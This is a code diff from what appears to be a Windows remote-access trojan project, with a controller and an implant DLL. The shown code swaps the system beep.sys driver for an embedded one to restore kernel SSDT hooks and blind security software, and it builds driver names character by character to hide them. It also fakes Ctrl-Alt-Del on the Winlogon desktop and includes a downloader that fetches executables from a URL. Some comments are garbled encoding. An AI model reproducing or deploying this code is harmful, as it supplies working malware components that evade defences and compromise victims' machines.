BOOL SetProc( IN HANDLE hDriver, IN ULONG ulIndex, IN PULONG buf )
{
if ( NULL == buf )
{
return FALSE;
}
DWORD dwReturned;
BOOL bRet = DeviceIoControl( hDriver, IOCTL_SETPROC, &ulIndex,sizeof( ULONG ), buf, sizeof( ULONG ), &dwReturned, NULL );
return bRet && ERROR_SUCCESS == GetLastError();
}
DWORD GetHeaders(PCHAR ibase,
PIMAGE_FILE_HEADER *pfh,
PIMAGE_OPTIONAL_HEADER *poh,
PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE) ||
(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE))
return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE)
return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
// loop thru relocs to speed up the search
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
// 1st IMAGE_BASE_RELOCATION.VirtualAddress of ntoskrnl is 0
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
// DONT_RESOLVE_DLL_REFERENCES flag means relocs aren't fixed
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
// does this reloc point to KeServiceDescriptorTable.Base?
if (dwPointsToRva==dwKSDT) {
// check for mov [mem32],imm32. we are trying to find
// "mov ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable"
// from the KiInitSystem.
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) {
// should check for a reloc presence on KiServiceTable here
// but forget it
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
return dwKiServiceTable;
}
}
} else
if (pfe->type!=IMAGE_REL_BASED_ABSOLUTE)
{
// should never get here
// printf("\trelo type %d found at .%X\n",pfe->type,pbr->VirtualAddress+pfe->offset);
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
//if (!dwFixups)
// should never happen - nt, 2k, xp kernels have relocation data
// printf("No fixups!\n");
return 0;
}
void ReSSDT( IN HANDLE hDriver)
{
HMODULE hKernel;
DWORD dwKSDT; // rva of KeServiceDescriptorTable
DWORD dwKiServiceTable; // rva of KiServiceTable
PMODULES pModules=(PMODULES)&pModules;
DWORD dwNeededSize,rc;
DWORD dwKernelBase,dwServices=0;
PCHAR pKernelName;
PDWORD pService;
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
FARPROC NtQuerySystemInformationAddr=GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
// get system modules - ntoskrnl is always first there
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,4,&dwNeededSize);
if (rc==STATUS_INFO_LENGTH_MISMATCH) {
pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize);
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,dwNeededSize,NULL);
} else {
strange:
return;
}
if (!NT_SUCCESS(rc)) goto strange;
// imagebase
dwKernelBase=(DWORD)pModules->smi.Base;
// filename - it may be renamed in the boot.ini
pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
// map ntoskrnl - hopefully it has relocs
hKernel=LoadLibraryEx(pKernelName,0,DONT_RESOLVE_DLL_REFERENCES);
if (!hKernel) {
return;
}
GlobalFree(pModules);
// our own export walker is useless here - we have GetProcAddress :)
if (!(dwKSDT=(DWORD)GetProcAddress(hKernel,"KeServiceDescriptorTable"))) {
return;
}
// get KeServiceDescriptorTable rva
dwKSDT-=(DWORD)hKernel;
// find KiServiceTable
if (!(dwKiServiceTable=FindKiServiceTable(hKernel,dwKSDT))) {
return;
}
// let's dump KiServiceTable contents
// MAY FAIL!!!
// should get right ServiceLimit here, but this is trivial in the kernel mode
GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh);
for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);
*pService-poh->ImageBase<poh->SizeOfImage;
pService++,dwServices++)
{
ULONG ulAddr=*pService-poh->ImageBase+dwKernelBase;
SetProc( hDriver,dwServices, &ulAddr );
}
FreeLibrary(hKernel);
}
void StopService(LPCTSTR lpServiceName)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpServiceName, DELETE | SERVICE_STOP);
if ( NULL != hService )
{
SERVICE_STATUS ss;
ControlService( hService, SERVICE_CONTROL_STOP, &ss);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
void StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if ( NULL != hService )
{
StartService(hService, 0, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
LPBYTE FileToBuffer(LPCTSTR lpFileName, LPDWORD lpdwLength)
{
if (lpdwLength == NULL)
return NULL;
DWORD dwBytesRead = 0;
HANDLE hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return NULL;
*lpdwLength = GetFileSize(hFile, NULL);
if (*lpdwLength == 0)
return NULL;
LPBYTE lpBuffer = new BYTE[*lpdwLength];
ReadFile(hFile, lpBuffer, *lpdwLength, &dwBytesRead, NULL);
CloseHandle(hFile);
return lpBuffer;
}
HANDLE LoadDriver(HMODULE hModule)
{
g_strService[0] = 'B';
g_strService[1] = 'e';
g_strService[2] = 'e';
g_strService[3] = 'p';
g_strService[4] = '\0';
char szSysPath[50]; // \\Drivers\\beep.sys
szSysPath[0] = '\\';
szSysPath[1] = 'D';
szSysPath[2] = 'r';
szSysPath[3] = 'i';
szSysPath[4] = 'v';
szSysPath[5] = 'e';
szSysPath[6] = 'r';
szSysPath[7] = 's';
szSysPath[8] = '\\';
szSysPath[9] = 'b';
szSysPath[10] = 'e';
szSysPath[11] = 'e';
szSysPath[12] = 'p';
szSysPath[13] = '.';
szSysPath[14] = 's';
szSysPath[15] = 'y';
szSysPath[16] = 's';
szSysPath[17] = '\0';
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸ĺ<DEB8><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
StopService(g_strService);
GetSystemDirectory(g_strBeepSys, sizeof(g_strBeepSys));
lstrcat(g_strBeepSys, szSysPath);
// <20>п<EFBFBD><D0BF><EFBFBD>Ϊֻ<CEAA><D6BB>
SetFileAttributes(g_strBeepSys, FILE_ATTRIBUTE_NORMAL);
// <20><><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
g_lpBeepSys = FileToBuffer(g_strBeepSys, &g_dwBeepLen);
if (g_dwBeepLen == 0)
return NULL;
ModifyFromResource(hModule, IDR_SYS, "BIN", g_strBeepSys);
StartService(g_strService);
HANDLE hDriver = INVALID_HANDLE_VALUE;
hDriver = CreateFileA( "\\\\.\\RESSDTDOS",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
return hDriver;
}
void UnloadDriver( IN HANDLE hDriver )
{
CloseHandle(hDriver);
StopService(g_strService);
// <20>ָ<EFBFBD>beep.sys
DWORD dwBytes = 0;
HANDLE hFile = CreateFile
(
g_strBeepSys,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
TRUNCATE_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == NULL)
return;
WriteFile(hFile, g_lpBeepSys, g_dwBeepLen, &dwBytes, NULL);
CloseHandle(hFile);
delete g_lpBeepSys;
StartService(g_strService);
}
bool RestoreSSDT(HMODULE hModule)
{
HANDLE hDriver = LoadDriver(hModule);
if (hDriver == INVALID_HANDLE_VALUE)
{
UnloadDriver(hDriver);
return false;
}
ReSSDT(hDriver);
UnloadDriver(hDriver);
return true;
}

View File

@@ -0,0 +1,344 @@
#include "..\pch.h"
#if !defined(AFX_UNTIL_CPP_INCLUDED)
#define AFX_UNTIL_CPP_INCLUDED
#include <windows.h>
#include <process.h>
#include <Tlhelp32.h>
#include <Wtsapi32.h>
#include <wininet.h>
#pragma comment(lib, "Wtsapi32.lib")
#include "until.h"
#include <string.h>
#include <stdio.h>
#include <locale.h>
#include <stdlib.h>
unsigned int __stdcall ThreadLoader(LPVOID param)
{
unsigned int nRet = 0;
#ifdef _DLL
try
{
#endif
THREAD_ARGLIST arg;
memcpy(&arg, param, sizeof(arg));
SetEvent(arg.hEventTransferArg);
// <20><>׿<EFBFBD><EFBFBD><E6BDBB>
if (arg.bInteractive)
SelectDesktop(NULL);
nRet = arg.start_address(arg.arglist);
#ifdef _DLL
}catch(...){};
#endif
return nRet;
}
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARGLIST arg;
arg.start_address = (unsigned ( __stdcall *)( void * ))lpStartAddress;
arg.arglist = (void *)lpParameter;
arg.bInteractive = bInteractive;
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
hThread = (HANDLE)_beginthreadex((void *)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned *)lpThreadId);
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
CloseHandle(arg.hEventTransferArg);
return hThread;
}
DWORD GetProcessID(LPCTSTR lpProcessName)
{
DWORD RetProcessID = 0;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32* info=new PROCESSENTRY32;
info->dwSize=sizeof(PROCESSENTRY32);
if(Process32First(handle,info))
{
if (strcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
while(Process32Next(handle,info) != FALSE)
{
if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
}
}
return RetProcessID;
}
char *GetLogUserXP()
{
TCHAR *szLogName = NULL;
DWORD dwSize = 0;
if (WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, WTSUserName, &szLogName, &dwSize))
{
char *lpUser = new char[256];
lstrcpy(lpUser, szLogName);
WTSFreeMemory(szLogName);
return lpUser;
}
else
return NULL;
}
char *GetLogUser2K()
{
DWORD dwProcessID = GetProcessID("explorer.exe");
if (dwProcessID == 0)
return NULL;
BOOL fResult = FALSE;
HANDLE hProc = NULL;
HANDLE hToken = NULL;
TOKEN_USER *pTokenUser = NULL;
char *lpUserName = NULL;
__try
{
// Open the process with PROCESS_QUERY_INFORMATION access
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID);
if (hProc == NULL)
{
__leave;
}
fResult = OpenProcessToken(hProc, TOKEN_QUERY, &hToken);
if(!fResult)
{
__leave;
}
DWORD dwNeedLen = 0;
fResult = GetTokenInformation(hToken,TokenUser, NULL, 0, &dwNeedLen);
if (dwNeedLen > 0)
{
pTokenUser = (TOKEN_USER*)new BYTE[dwNeedLen];
fResult = GetTokenInformation(hToken,TokenUser, pTokenUser, dwNeedLen, &dwNeedLen);
if (!fResult)
{
__leave;
}
}
else
{
__leave;
}
SID_NAME_USE sn;
TCHAR szDomainName[MAX_PATH];
DWORD dwDmLen = MAX_PATH;
DWORD nNameLen = 256;
lpUserName = new char[256];
fResult = LookupAccountSid(NULL, pTokenUser->User.Sid, lpUserName, &nNameLen,
szDomainName, &dwDmLen, &sn);
}
__finally
{
if (hProc)
::CloseHandle(hProc);
if (hToken)
::CloseHandle(hToken);
if (pTokenUser)
delete[] (char*)pTokenUser;
return lpUserName;
}
}
char *GetCurrentLoginUser()
{
OSVERSIONINFOEX OsVerInfo;
ZeroMemory(&OsVerInfo, sizeof(OSVERSIONINFOEX));
OsVerInfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
{
OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
return NULL;
}
if(OsVerInfo.dwMajorVersion == 5 && OsVerInfo.dwMinorVersion == 0)
return GetLogUser2K();
else
return GetLogUserXP();
}
bool SwitchInputDesktop()
{
BOOL bRet = false;
DWORD dwLengthNeeded;
HDESK hOldDesktop, hNewDesktop;
char strCurrentDesktop[256], strInputDesktop[256];
hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
memset(strCurrentDesktop, 0, sizeof(strCurrentDesktop));
GetUserObjectInformation(hOldDesktop, UOI_NAME, &strCurrentDesktop, sizeof(strCurrentDesktop), &dwLengthNeeded);
hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
memset(strInputDesktop, 0, sizeof(strInputDesktop));
GetUserObjectInformation(hNewDesktop, UOI_NAME, &strInputDesktop, sizeof(strInputDesktop), &dwLengthNeeded);
if (lstrcmpi(strInputDesktop, strCurrentDesktop) != 0)
{
SetThreadDesktop(hNewDesktop);
bRet = true;
}
CloseDesktop(hOldDesktop);
CloseDesktop(hNewDesktop);
return bRet;
}
BOOL SelectHDESK(HDESK new_desktop)
{
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
DWORD dummy;
char new_name[256];
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
return FALSE;
}
// Switch the desktop
if(!SetThreadDesktop(new_desktop)) {
return FALSE;
}
// Switched successfully - destroy the old desktop
CloseDesktop(old_desktop);
return TRUE;
}
// - SelectDesktop(char *)
// Switches the current thread into a different desktop, by name
// Calling with a valid desktop name will place the thread in that desktop.
// Calling with a NULL name will place the thread in the current input desktop.
BOOL SelectDesktop(char *name)
{
HDESK desktop;
if (name != NULL)
{
// Attempt to open the named desktop
desktop = OpenDesktop(name, 0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
else
{
// No, so open the input desktop
desktop = OpenInputDesktop(0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
// Did we succeed?
if (desktop == NULL) {
return FALSE;
}
// Switch to the new desktop
if (!SelectHDESK(desktop)) {
// Failed to enter the new desktop, so free it!
CloseDesktop(desktop);
return FALSE;
}
// We successfully switched desktops!
return TRUE;
}
BOOL SimulateCtrlAltDel()
{
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
// Switch into the Winlogon desktop
char name[] = "Winlogon";
if (!SelectDesktop(name))
{
return FALSE;
}
// Fake a hotkey event to any windows we find there.... :(
// Winlogon uses hotkeys to trap Ctrl-Alt-Del...
PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE));
// Switch back to our original desktop
if (old_desktop != NULL)
SelectHDESK(old_desktop);
return TRUE;
}
bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
{
HINTERNET hInternet, hUrl;
HANDLE hFile;
char buffer[1024];
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
BOOL bIsFirstPacket = true;
BOOL bRet = true;
hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
if (hInternet == NULL)
return false;
hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl == NULL)
return false;
hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
do
{
memset(buffer, 0, sizeof(buffer));
InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
// <20><><EFBFBD>жϵ<D0B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>PE<50>ļ<EFBFBD>
if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE)
{
bRet = false;
break;
}
bIsFirstPacket = false;
WriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
} while(dwBytesRead > 0);
CloseHandle(hFile);
}
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return bRet;
}
#endif // !defined(AFX_UNTIL_CPP_INCLUDED)

View File

@@ -0,0 +1,33 @@
#if !defined(AFX_UNTIL_H_INCLUDED)
#define AFX_UNTIL_H_INCLUDED
#include "RegEditEx.h"
typedef struct
{
unsigned ( __stdcall *start_address )( void * );
void *arglist;
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HANDLE hEventTransferArg;
}THREAD_ARGLIST, *LPTHREAD_ARGLIST;
unsigned int __stdcall ThreadLoader(LPVOID param);
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive = false);
DWORD GetProcessID(LPCTSTR lpProcessName);
char *GetLogUserXP();
char *GetLogUser2K();
char *GetCurrentLoginUser();
bool SwitchInputDesktop();
BOOL SelectHDESK(HDESK new_desktop);
BOOL SelectDesktop(char *name);
BOOL SimulateCtrlAltDel();
bool http_get(LPCTSTR szURL, LPCTSTR szFileName);
#endif // !defined(AFX_UNTIL_H_INCLUDED)

View File

@@ -0,0 +1,19 @@
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@@ -0,0 +1,5 @@
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

View File

@@ -0,0 +1,5 @@
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
// 当使用预编译的头时,需要使用此源文件,编译才能成功。

13
CcMainDll/CcMainDll/pch.h Normal file
View File

@@ -0,0 +1,13 @@
// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
#endif //PCH_H

Binary file not shown.

View File

@@ -0,0 +1,54 @@
// CSettingDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CSettingDlg.h"
#include "afxdialogex.h"
// CSettingDlg 对话框
IMPLEMENT_DYNAMIC(CSettingDlg, CDialogEx)
CSettingDlg::CSettingDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_SETTING, pParent)
, m_nListernProt(0)
, m_nMax_Connect(0)
{
}
CSettingDlg::~CSettingDlg()
{
}
void CSettingDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_PORT, m_nListernProt);
DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect);
}
BEGIN_MESSAGE_MAP(CSettingDlg, CDialogEx)
ON_BN_CLICKED(IDOK, &CSettingDlg::OnBnClickedOk)
END_MESSAGE_MAP()
// CSettingDlg 消息处理程序
void CSettingDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
UpdateData(TRUE);
((CCcRemoteApp *)AfxGetApp())->m_IniFile.SetInt("Settings", "ListenPort", m_nListernProt); //向ini文件中写入值
((CCcRemoteApp *)AfxGetApp())->m_IniFile.SetInt("Settings", "MaxConnection", m_nMax_Connect);
MessageBox("设置成功,重启本程序后生效!");
CDialogEx::OnOK();
}

View File

@@ -0,0 +1,30 @@
#pragma once
// CSettingDlg 对话框
class CSettingDlg : public CDialogEx
{
DECLARE_DYNAMIC(CSettingDlg)
public:
CSettingDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CSettingDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_SETTING };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnBnClickedOk();
// //监控编辑框对象
int m_nListernProt;
// //最大连接编辑框对象
int m_nMax_Connect;
};

View File

@@ -9,7 +9,7 @@
#endif
#include "resource.h" // 主符号
#include "IniFile.h"
// CCcRemoteApp:
// 有关此类的实现,请参阅 CcRemote.cpp
@@ -20,6 +20,7 @@ class CCcRemoteApp : public CWinApp
public:
CCcRemoteApp();
CIniFile m_IniFile;//配置文件对象
// 重写
public:
virtual BOOL InitInstance();

Binary file not shown.

View File

@@ -38,7 +38,7 @@
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
@@ -53,7 +53,7 @@
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
@@ -91,12 +91,14 @@
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
@@ -114,12 +116,14 @@
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
@@ -139,14 +143,18 @@
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
@@ -166,14 +174,18 @@
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
@@ -189,7 +201,13 @@
<ItemGroup>
<ClInclude Include="CcRemote.h" />
<ClInclude Include="CcRemoteDlg.h" />
<ClInclude Include="CSettingDlg.h" />
<ClInclude Include="framework.h" />
<ClInclude Include="include\Buffer.h" />
<ClInclude Include="include\CpuUsage.h" />
<ClInclude Include="include\IOCPServer.h" />
<ClInclude Include="include\Mapper.h" />
<ClInclude Include="IniFile.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="PublicStruct.h" />
<ClInclude Include="Resource.h" />
@@ -199,6 +217,22 @@
<ItemGroup>
<ClCompile Include="CcRemote.cpp" />
<ClCompile Include="CcRemoteDlg.cpp" />
<ClCompile Include="CSettingDlg.cpp" />
<ClCompile Include="include\Buffer.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
